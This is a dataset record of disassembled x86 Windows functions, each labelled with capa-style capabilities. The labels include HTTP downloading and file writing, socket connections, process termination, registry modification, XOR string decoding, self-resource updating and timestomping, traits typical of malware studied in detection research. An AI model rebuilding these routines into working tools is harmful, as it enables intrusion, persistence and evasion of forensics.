joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Read file on windows

Disassembly:
push esi
push edi
push 0x423550
push eax
mov edi, ecx
call fcn.004119cb
mov esi, eax
add esp, 8
test esi, esi
je 0x401088
push ebx
push 2
push 0
push esi
call fcn.0041209d
push esi
call fcn.00411fae
push 0
push 0
push esi
mov ebx, eax
call fcn.0041209d
add esp, 0x1c
test edi, edi
je 0x40103e
mov dword [edi], ebx
test ebx, ebx
je 0x40106a
push ebx
call fcn.00412765
mov edi, eax
add esp, 4
test edi, edi
je 0x401042
push esi
push ebx
push 1
push edi
call fcn.00411c2c
push esi
call fcn.00412186
add esp, 0x14
pop ebx
mov eax, edi
pop edi
pop esi
ret
push esi
call fcn.00412186
add esp, 4
push 8
call fcn.00412765
add esp, 4
test eax, eax
je 0x401073
pop ebx
pop edi
mov byte [eax], 0
pop esi
ret
pop edi
xor eax, eax
pop esi
ret

Function at 0x401090
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push 0x423550
push eax
xor bl, bl
call fcn.004119cb
mov esi, eax
add esp, 8
test esi, esi
je 0x40110f
mov ecx, dword [ebp + 8]
push edi
push 0x423558
push ecx
call fcn.004119cb
mov edi, eax
add esp, 8
test edi, edi
je 0x401105
push esi
call fcn.004118e7
add esp, 4
test eax, eax
jne 0x4010fa
push esi
push 1
lea edx, [ebp - 1]
push 1
push edx
call fcn.00411c2c
push edi
push 1
lea eax, [ebp - 1]
push 1
push eax
call fcn.00411da0
push esi
call fcn.004118e7
add esp, 0x24
test eax, eax
je 0x4010d1
push edi
mov bl, 1
call fcn.00412186
add esp, 4
push esi
call fcn.00412186
add esp, 4
pop edi
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x401400
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Send data
Send http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push 0
lea eax, [ebp - 8]
push eax
mov dword [ebp - 8], 0
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x401423
xor al, al
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
push edi
push 0
push 0
push ecx
push 3
push 0
mov byte [ebp - 1], 0
call dword [sym.imp.WININET.dll_InternetOpenA]
mov edi, eax
test edi, edi
je 0x4014b2
push esi
push 1
push 0
push 3
push 0
push 0
push 0x50
push str.example.com
push edi
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
test esi, esi
je 0x4014aa
push ebx
push 1
push 0x400000
push 0
push 0
push 0
push 0x423572
push 0x423580
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov ebx, eax
test ebx, ebx
je 0x4014a2
push 0
push 0
push 0
push 0
push ebx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x40149b
mov byte [ebp - 1], 1
push ebx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop ebx
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop esi
mov al, byte [ebp - 1]
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x401720
Capabilities:
Check internet connectivity via wininet
Connect to http server
Create http request
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Send data
Send http request
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [ebp + 0xc]
push esi
push edi
mov esi, ecx
push 0
lea ecx, [ebp - 0x418]
push ecx
mov edi, edx
mov dword [ebp - 0x410], eax
mov dword [ebp - 0x418], 0
call dword [sym.imp.WININET.dll_InternetGetConnectedState]
test eax, eax
jne 0x401776
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
push ebx
mov byte [ebp - 0x405], 0
call fcn.0041292a
mov eax, dword [0x429f4c]
add esp, 4
push 0
push 0
test eax, eax
je 0x401798
push eax
push 3
jmp 0x40179c
push 0
push 0
push esi
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x40c], eax
test eax, eax
je 0x40189e
push 1
push 0
push 3
push 0
push 0
push 0x50
push edi
push eax
call dword [sym.imp.WININET.dll_InternetConnectA]
mov esi, eax
mov dword [ebp - 0x414], esi
test esi, esi
je 0x401891
mov edx, dword [ebp - 0x410]
push 1
push 0x400000
push 0
push 0
push 0
push edx
push 0x423580
push esi
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov edi, eax
test edi, edi
je 0x40188a
push 0
push 0
push 0
push 0
push edi
call dword [sym.imp.WININET.dll_HttpSendRequestA]
test eax, eax
je 0x401883
push 0x423558
push ebx
mov byte [ebp - 0x405], 1
call fcn.004119cb
mov esi, eax
add esp, 8
test esi, esi
je 0x40187d
mov ebx, dword [sym.imp.WININET.dll_InternetReadFile]
lea eax, [ebp - 0x410]
push eax
push 0x3ff
lea ecx, [ebp - 0x404]
push ecx
push edi
call ebx
test eax, eax
je 0x401874
mov eax, dword [ebp - 0x410]
test eax, eax
je 0x401874
push esi
push eax
lea edx, [ebp - 0x404]
push 1
push edx
mov byte [ebp + eax - 0x404], 0
call fcn.00411da0
add esp, 0x10
jmp 0x401833
push esi
call fcn.00412186
add esp, 4
mov esi, dword [ebp - 0x414]
push edi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, dword [ebp - 0x40c]
push eax
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x405]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004118d8
mov esp, ebp
pop ebp
ret
Function at 0x401c90
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push esi
push 0x1a8
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x401c94
push esi
push 0x101
call dword [sym.imp.WSOCK32.dll_WSAStartup]
test eax, eax
js 0x401d24
push 0
push 1
push 2
call dword [sym.imp.WSOCK32.dll_socket]
mov dword [esi + 0x190], eax
cmp eax, 0xffffffff
je 0x401d24
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.WSOCK32.dll_gethostbyname]
mov dword [esi + 0x1a4], eax
test eax, eax
je 0x401d24
push edi
mov ecx, 2
mov word [esi + 0x194], cx
mov edx, dword [eax + 0xc]
mov eax, dword [edx]
mov edx, dword [ebp + 0xc]
mov ecx, dword [eax]
lea edi, [esi + 0x194]
push edx
mov dword [esi + 0x198], ecx
call dword [sym.imp.WSOCK32.dll_htons]
push 0x10
mov word [esi + 0x196], ax
mov eax, dword [esi + 0x190]
push edi
push eax
call dword [sym.imp.WSOCK32.dll_connect]
pop edi
mov eax, esi
pop esi
pop ebp
ret

Function at 0x401f10
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 0x22
push 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov edi, eax
test edi, edi
jne 0x401f2d
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
push esi
push ecx
push edx
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov esi, eax
mov dword [ebp - 0xc], esi
test esi, esi
je 0x401f60
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x401f60
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 4], eax
test eax, eax
jne 0x401f6f
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop esi
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [esi + 4]
mov dword [ebp - 8], ebx
push ebx
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x401f76
test ebx, ebx
je 0x401f9c
mov ecx, dword [ebp - 4]
sub ecx, esi
mov edx, ebx
mov bl, byte [ecx + eax]
mov byte [eax], bl
inc eax
dec edx
jne 0x401f90
mov ebx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_FreeResource]
push edi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x401fb6
mov dword [eax], ebx
pop ebx
mov eax, esi
pop esi
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x402930
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push esi
xor esi, esi
push edi
lea ecx, [ebp - 0xc]
mov dword [ebp - 0xc], esi
call section..text
mov edi, eax
mov dword [ebp - 8], edi
cmp edi, esi
jne 0x402956
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push ebx
mov ebx, dword [ebp + 8]
mov eax, ebx
mov dword [ebp - 0x10], esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402962
sub eax, edx
mov esi, eax
je 0x4029ca
mov edx, dword [ebp - 0xc]
test edx, edx
je 0x4029ca
lea eax, [edx - 1]
cmp esi, eax
ja 0x4029ca
mov byte [ebp - 1], cl
sub edx, esi
xor ecx, ecx
dec edx
mov dword [ebp - 0x14], edx
je 0x4029ca
jmp 0x402993
mov edi, dword [ebp - 8]
xor eax, eax
test esi, esi
je 0x4029b0
add edi, ecx
jmp 0x4029a0
mov dl, byte [edi + eax]
cmp dl, byte [eax + ebx]
jne 0x4029b9
inc eax
cmp eax, esi
jb 0x4029a0
mov edx, dword [ebp - 0x14]
mov byte [ebp - 1], 1
mov dword [ebp - 0x10], ecx
jmp 0x4029bc
mov edx, dword [ebp - 0x14]
inc ecx
cmp ecx, edx
jb 0x402990
cmp byte [ebp - 1], 0
jne 0x4029dc
mov edi, dword [ebp - 8]
push edi
call fcn.0041272b
add esp, 4
pop ebx
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp + 0xc]
push 0x423558
push eax
call fcn.004119cb
mov ebx, eax
add esp, 8
test ebx, ebx
je 0x402aee
cmp byte [ebp + 0x10], 0
jne 0x402a17
mov eax, dword [ebp + 8]
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402a03
mov ecx, dword [ebp - 0x10]
mov edi, dword [ebp - 0xc]
sub eax, edx
lea esi, [eax + ecx]
jmp 0x402a1c
mov edi, dword [ebp - 0x10]
xor esi, esi
cmp esi, edi
jae 0x402a39
mov edx, dword [ebp - 8]
push ebx
push 1
lea eax, [esi + edx]
push 1
push eax
call fcn.00411da0
inc esi
add esp, 0x10
cmp esi, edi
jb 0x402a20
push ebx
call fcn.00412186
mov ecx, dword [ebp - 8]
push ecx
call fcn.0041272b
add esp, 8
cmp byte [ebp + 0x10], 0
je 0x402ae5
mov edx, dword [ebp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
push 0
push edx
call edi
mov ebx, dword [sym.imp.KERNEL32.dll_UpdateResourceA]
mov esi, eax
test esi, esi
je 0x402a89
push 0
push 0
push 0
push 1
push 0x10
push esi
call ebx
test eax, eax
je 0x402a89
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov eax, dword [ebp + 0xc]
push 0
push eax
call edi
mov esi, eax
test esi, esi
je 0x402ab1
push 0
push 0
push 0
push 1
push 0x18
push esi
call ebx
test eax, eax
je 0x402ab1
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov ecx, dword [ebp + 0xc]
push 0
push ecx
call edi
mov esi, eax
test esi, esi
je 0x402ad9
push 0
push 0
push 0
push 1
push 3
push esi
call ebx
test eax, eax
je 0x402ad9
push 0
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov edx, dword [ebp + 0xc]
push edx
call fcn.00402320
add esp, 4
pop ebx
pop edi
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
mov eax, dword [ebp - 8]
push eax
call fcn.0041272b
add esp, 4
pop ebx
pop edi
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x402b10
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
push 0
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
test ebx, ebx
je 0x402c62
lea eax, [ebp - 0x134]
push eax
push ebx
mov dword [ebp - 0x134], 0x128
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x402c5b
lea ebx, [ebx]
lea eax, [ebp - 0x110]
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402b70
sub eax, edx
lea esi, [eax + 1]
lea esp, [esp]
push esi
call fcn.00412765
mov edi, eax
add esp, 4
test edi, edi
je 0x402b80
lea eax, [ebp - 0x110]
mov edx, edi
mov ecx, eax
sub edx, ecx
jmp 0x402ba0
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
test cl, cl
jne 0x402ba0
mov eax, edi
lea edx, [eax + 1]
nop
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x402bb0
sub eax, edx
mov edx, eax
mov ecx, 0
je 0x402bd7
mov al, byte [ecx + edi]
cmp al, 0x41
jl 0x402bd2
cmp al, 0x5a
jg 0x402bd2
add al, 0x20
mov byte [ecx + edi], al
inc ecx
cmp ecx, edx
jb 0x402bc2
mov ecx, dword [ebp + 8]
mov eax, edi
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402c00
test dl, dl
je 0x402bfc
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402c00
add eax, 2
add ecx, 2
test dl, dl
jne 0x402be0
xor eax, eax
jmp 0x402c05
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x402c3c
mov edx, dword [ebp - 0x12c]
push edx
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x402c3c
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
je 0x402c35
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0041272b
add esp, 4
lea eax, [ebp - 0x134]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x402b60
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
mov al, 1
pop ebx
call fcn.004118d8
mov esp, ebp
pop ebp
ret

Function at 0x402df0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push 0
lea eax, [ebp - 4]
push eax
push 0
push 0x2001f
push 0
push 0
push 0
push ecx
push edx
xor bl, bl
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x402e42
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp + 0x10]
push ecx
mov ecx, dword [ebp + 8]
push edx
mov edx, dword [ebp + 0xc]
push ecx
push 0
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x402e38
mov bl, 1
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x403490
Capabilities:
Get token membership

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
call fcn.004036f0
xor ebx, ebx
cmp eax, 0x3c
jl 0x403514
lea eax, [ebp - 0x14]
push eax
push 8
mov byte [ebp - 0xd], bl
mov dword [ebp - 0x14], ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x4034f4
mov eax, dword [ebp - 0x14]
lea ecx, [ebp - 0x18]
push ecx
push 4
lea edx, [ebp - 0xc]
push edx
push 0x14
push eax
mov dword [ebp - 0x18], 4
call dword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x4034f4
cmp dword [ebp - 0xc], ebx
je 0x4034f4
mov byte [ebp - 0xd], 1
mov eax, dword [ebp - 0x14]
cmp eax, ebx
je 0x403502
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 0xd]
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
lea ecx, [ebp - 0x18]
push ecx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push 0x220
push 0x20
push 2
lea edx, [ebp - 0xc]
push edx
mov dword [ebp - 0xc], ebx
mov word [ebp - 8], 0x500
call dword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
mov dword [ebp - 0x14], eax
cmp eax, ebx
je 0x403577
mov ecx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
push eax
push ecx
push ebx
call dword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x403557
mov dword [ebp - 0x14], ebx
mov edx, dword [ebp - 0x18]
push edx
call dword [sym.imp.ADVAPI32.dll_FreeSid]
cmp dword [ebp - 0x14], ebx
je 0x403577
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004118d8
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor al, al
pop ebx
call fcn.004118d8
mov esp, ebp
pop ebp
ret
Function at 0x403ba0
Capabilities:
Create new key via cryptacquirecontext
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0xf0000000
push 1
xor edi, edi
push edi
mov esi, edx
push edi
lea edx, [ebp - 0x1c]
push edx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x1c], edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
mov ecx, dword [ebp - 0x1c]
lea eax, [ebp - 0x18]
push eax
push edi
push edi
push 0x8003
push ecx
mov dword [ebp - 0x18], edi
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
lea ebx, [esi + 1]
push ebx
call fcn.00412765
mov edi, eax
add esp, 4
test edi, edi
je 0x403bf1
mov edx, dword [ebp - 0x28]
push esi
push edx
push edi
call fcn.004133c0
mov eax, dword [ebp - 0x18]
add esp, 0xc
push 0
push esi
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
mov eax, dword [ebp - 0x18]
push 0
lea ecx, [ebp - 0x20]
push ecx
lea edx, [ebp - 0x14]
push edx
push 2
push eax
mov dword [ebp - 0x20], 0x10
call dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
mov edi, dword [ebp - 0x20]
xor esi, esi
test edi, edi
je 0x403c6b
mov ecx, dword [ebp - 0x24]
movzx eax, byte [ebp + esi - 0x14]
mov edx, eax
shr edx, 4
mov dl, byte [edx + str.0123456789abcdef]
mov byte [ecx], dl
and eax, 0xf
mov al, byte [eax + str.0123456789abcdef]
mov byte [ecx + 1], al
inc esi
add ecx, 2
cmp esi, edi
jb 0x403c45
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x24]
push edx
mov byte [ecx + 0x20], 0
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [ebp - 0x1c]
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004118d8
mov esp, ebp
pop ebp
ret

Function at 0x403fe0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
mov ebx, dword [ebp + 8]
cmp byte [ebx + 0x42a120], 0
jne 0x404084
push esi
push fcn.00403fe0
call fcn.00402c80
add esp, 4
cmp byte [ebx + 0x42a120], 0
jne 0x404079
cmp dword [0x42a118], 0
jne 0x40402a
push 0x4b4
call fcn.00412765
add esp, 4
test eax, eax
je 0x404014
mov dword [0x42a118], eax
lea esi, [ebx + ebx*2]
add esi, esi
push edi
mov edi, dword [esi + esi + 0x424d04]
add esi, esi
lea eax, [edi + 1]
push eax
call fcn.00412765
add esp, 4
xor ecx, ecx
test edi, edi
pop edi
je 0x40406c
lea esp, [esp]
mov edx, dword [esi + 0x424d08]
mov dl, byte [edx + ecx]
xor dl, byte [esi + 0x424d00]
inc ecx
mov byte [ecx + eax - 1], dl
cmp ecx, dword [esi + 0x424d04]
jb 0x404050
mov byte [ecx + eax], 0
mov ecx, dword [0x42a118]
mov dword [ecx + ebx*4], eax
mov esi, fcn.00403fe0
call fcn.00402d80
pop esi
pop ebx
pop ebp
ret
Function at 0x406d20
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x42a36c]
push ebx
push esi
push edi
test eax, eax
je 0x406d3b
cmp eax, 0xffffffff
je 0x406d3b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.00408a90
cmp eax, 2
je 0x406da4
call fcn.004036f0
cmp eax, 0x3c
jl 0x406d9f
call fcn.00408630
call fcn.00403490
test al, al
je 0x406da4
push 0x37
call fcn.00403fe0
mov eax, dword [0x42a118]
mov esi, dword [eax + 0xdc]
push 0x72
call fcn.00403fe0
mov ecx, dword [0x42a118]
mov edi, dword [ecx + 0x1c8]
add esp, 8
push 7
push esi
push 0
push 1
call fcn.004095e0
mov ecx, edi
mov edx, eax
call fcn.00402df0
add esp, 0x10
jmp 0x406da4
call fcn.00407900
call fcn.0040bd30
call fcn.0040b850
cmp byte [ebp + 8], 0
je 0x406ea9
push 4
call fcn.00403fe0
mov edx, dword [0x42a118]
mov eax, dword [edx + 0x10]
push eax
call fcn.0041356b
add esp, 8
mov dword [ebp + 8], eax
test eax, eax
jne 0x406ddf
mov dword [ebp + 8], 0x423572
push 0x13
call fcn.00403fe0
mov eax, dword [0x42a118]
mov eax, dword [eax + 0x4c]
push 2
push eax
xor eax, eax
call fcn.00403250
mov ebx, eax
mov eax, dword [ebp + 8]
add esp, 0xc
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x406e03
mov ecx, ebx
sub eax, edx
lea esi, [ecx + 1]
mov dl, byte [ecx]
inc ecx
test dl, dl
jne 0x406e11
sub ecx, esi
lea edi, [ecx + eax + 8]
mov edi, edi
push edi
call fcn.00412765
mov esi, eax
add esp, 4
test esi, esi
je 0x406e20
mov ecx, dword [ebp + 8]
push ebx
push ecx
push 0x425b20
push esi
call fcn.004128a6
add esp, 0x10
test ebx, ebx
je 0x406e4f
push ebx
call fcn.0041272b
add esp, 4
push 0x425b50
push esi
call fcn.004119cb
mov edi, eax
add esp, 8
test edi, edi
je 0x406ea0
push 0x38
call fcn.00403fe0
mov edx, dword [0x42a118]
mov ebx, dword [edx + 0xe0]
call fcn.00408d30
push eax
push ebx
push edi
call fcn.00413e54
push edi
call fcn.00412186
add esp, 0x14
push 0
push 0
push 0
push esi
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push esi
call fcn.0041272b
add esp, 4
push 0
call fcn.00412e00
int3
Function at 0x407900
Capabilities:
Delete registry value
Terminate thread

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x42a11c]
test eax, eax
je 0x407920
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [0x42a11c], 0
push ebx
push esi
push edi
push 0x6e
call fcn.00403fe0
mov eax, dword [0x42a118]
mov ebx, dword [eax + 0x1b8]
add esp, 4
cmp dword [0x42a330], 0
jne 0x407966
call fcn.00408a90
test eax, eax
je 0x40795c
dec eax
cmp eax, 1
ja 0x407966
mov dword [0x42a330], 0x80000002
jmp 0x407966
mov dword [0x42a330], 0x80000001
mov esi, dword [0x42a330]
call fcn.00409620
lea ecx, [ebp - 4]
push ecx
push 0x2001f
push 0
push ebx
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov eax, dword [ebp - 4]
test eax, eax
je 0x40799f
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408630
Capabilities:
Delete registry key
Terminate thread

Disassembly:
mov eax, dword [0x42a2f0]
test eax, eax
je 0x40864c
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [0x42a2f0], 0
push esi
push 0x72
call fcn.00403fe0
mov eax, dword [0x42a118]
mov esi, dword [eax + 0x1c8]
add esp, 4
cmp dword [0x42a330], 0
jne 0x40869e
call fcn.00408a90
test eax, eax
je 0x408694
dec eax
cmp eax, 1
ja 0x40869e
mov dword [0x42a330], 0x80000002
mov ecx, dword [0x42a330]
push esi
push ecx
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
pop esi
ret
mov dword [0x42a330], 0x80000001
mov ecx, dword [0x42a330]
push esi
push ecx
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
pop esi
ret

Function at 0x408980
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x428004]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0xb
mov dword [ebp - 0xa0], eax
call fcn.00403fe0
mov ecx, dword [0x42a118]
mov eax, dword [ecx + 0x2c]
push eax
call fcn.0041356b
add esp, 8
mov ebx, eax
test eax, eax
jne 0x4089c3
mov ebx, 0x423572
mov eax, ebx
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4089c8
sub eax, edx
lea esi, [eax + 0x20]
push esi
call fcn.00412765
mov edi, eax
add esp, 4
test edi, edi
je 0x4089d4
push 0x7b
call fcn.00403fe0
mov edx, dword [0x42a118]
mov eax, dword [edx + 0x1ec]
push ebx
push eax
push edi
call fcn.004128a6
mov ebx, dword [sym.imp.KERNEL32.dll_OpenFile]
add esp, 0x10
push 0
lea ecx, [ebp - 0x94]
push ecx
push edi
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x408a67
push 0
push 0
lea edx, [ebp - 0x9c]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0xa0]
push 2
lea eax, [ebp - 0x94]
push eax
push ecx
call ebx
mov esi, eax
cmp esi, 0xffffffff
je 0x408a67
lea edx, [ebp - 0x9c]
push edx
mov eax, edx
push eax
mov ecx, edx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0041272b
mov ecx, dword [ebp - 8]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004118d8
mov esp, ebp
pop ebp
ret